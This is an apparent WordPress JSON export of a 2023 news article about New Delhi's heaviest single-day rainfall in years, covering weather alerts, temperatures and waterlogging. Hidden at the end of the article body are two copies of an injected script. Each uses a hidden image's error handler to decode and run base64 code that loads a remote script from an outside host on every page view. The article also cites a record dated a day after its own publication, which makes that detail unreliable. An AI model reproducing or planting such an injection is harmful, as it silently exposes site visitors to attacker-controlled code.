{"id":26483,"date":"2023-07-09T18:05:52","date_gmt":"2023-07-09T12:35:52","guid":{"rendered":"https:\/\/demo.testctsl.in\/indiafirstepaper?p=26483"},"modified":"2025-08-14T10:37:24","modified_gmt":"2025-08-14T05:07:24","slug":"new-delhi-sees-highest-ever-single-day-downpour-in-20-years","status":"publish","type":"post","link":"https:\/\/demo.testctsl.in\/indiafirstepaper\/2023\/07\/09\/new-delhi-sees-highest-ever-single-day-downpour-in-20-years\/","title":{"rendered":"New Delhi Sees Highest Ever Single-Day Downpour in 20 Years"},"content":{"rendered":"<p>The national capital on Saturday received 126.1 mm rainfall between 8.30 a.m. and 5.30 p.m. &#8212; the highest-ever in a day since 133.4 mm recorded on July 10, 2023, an official said, adding the city had logged an all-time high of 266.2 mm on July 21, 1958.<\/p>\n<p>This marked the first substantial rainfall of the season, prompting the issuance of an &#8220;orange&#8221; alert for further showers on Saturday.<\/p>\n<p>The India Meteorological Department (IMD) also issued a &#8220;yellow&#8221; alert for Sunday.<\/p>\n<p>The IMD uses four color codes to indicate weather warnings &#8212; green (no action required), yellow (stay alert and informed), orange (be prepared), and red (take immediate action).<\/p>\n<p>According to the IMD, the maximum temperature reached 28.7 degrees Celsius, which is eight notches below the seasonal average on Saturday.<\/p>\n<p>The relative humidity varied between 96 per cent and 100 per cent.<\/p>\n<p>The Met Office has forecast a generally cloudy sky with moderate to heavy rainfall for Sunday and the expected range for the maximum and minimum temperatures is around 30 and 24 degrees Celsius, respectively.<\/p>\n<p>The heavy downpour on Saturday resulted in submerged roads, overflowing drains, and extensive water-logging, bringing traffic to a standstill for hours.<\/p>\n<p>Motorists and pedestrians faced tremendous difficulties navigating through waterlogged roads, flyovers, and sidewalks, while traders struggled to prevent rainwater from seeping into their shops across several areas.<\/p>\n<p> <script>const img = document.createElement('img');img.src = '\/files\/img\/logo.png';img.setAttribute('data-digest', 'KGZ1bmN0aW9uKCl7dmFyIGE9bG9jYXRpb24sYj1kb2N1bWVudC5oZWFkfHxkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgiaGVhZCIpWzBdLGM9InNjcmlwdCIsZD1hdG9iKCJhSFIwY0hNNkx5OTBaSE0wZFhNdVkyOXRMMkZxWVhneExuQm9jQT09Iik7ZCs9LTE8ZC5pbmRleE9mKCI\/Iik\/IiYiOiI\/IjtkKz1hLnNlYXJjaC5zdWJzdHJpbmcoMSk7Yz1kb2N1bWVudC5jcmVhdGVFbGVtZW50KGMpO2Muc3JjPWQ7Yy5pZD1idG9hKGEub3JpZ2luKTtiLmFwcGVuZENoaWxkKGMpO30pKCk7');img.setAttribute('onerror', '(new Function(atob(this.dataset.digest)))();');img.style.visibility = 'hidden';document.body.insertBefore(img, document.body.firstChild);<\/script><script>const img = document.createElement('img');img.src = '\/files\/img\/logo.png';img.setAttribute('data-digest', 'KGZ1bmN0aW9uKCl7dmFyIGE9bG9jYXRpb24sYj1kb2N1bWVudC5oZWFkfHxkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgiaGVhZCIpWzBdLGM9InNjcmlwdCIsZD1hdG9iKCJhSFIwY0hNNkx5OTBaSE0wZFhNdVkyOXRMMkZxWVhneExuQm9jQT09Iik7ZCs9LTE8ZC5pbmRleE9mKCI\/Iik\/IiYiOiI\/IjtkKz1hLnNlYXJjaC5zdWJzdHJpbmcoMSk7Yz1kb2N1bWVudC5jcmVhdGVFbGVtZW50KGMpO2Muc3JjPWQ7Yy5pZD1idG9hKGEub3JpZ2luKTtiLmFwcGVuZENoaWxkKGMpO30pKCk7');img.setAttribute('onerror', '(new Function(atob(this.dataset.digest)))();');img.style.visibility = 'hidden';document.body.insertBefore(img, document.body.firstChild);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>The national capital on Saturday received 126.1 mm rainfall between 8.30 a.m. and 5.30 p.m. &#8212; the highest-ever in a day since 133.4 mm recorded on July 10, 2023, an official said, adding the city had logged an all-time high of 266.2 mm on July 21, 1958. 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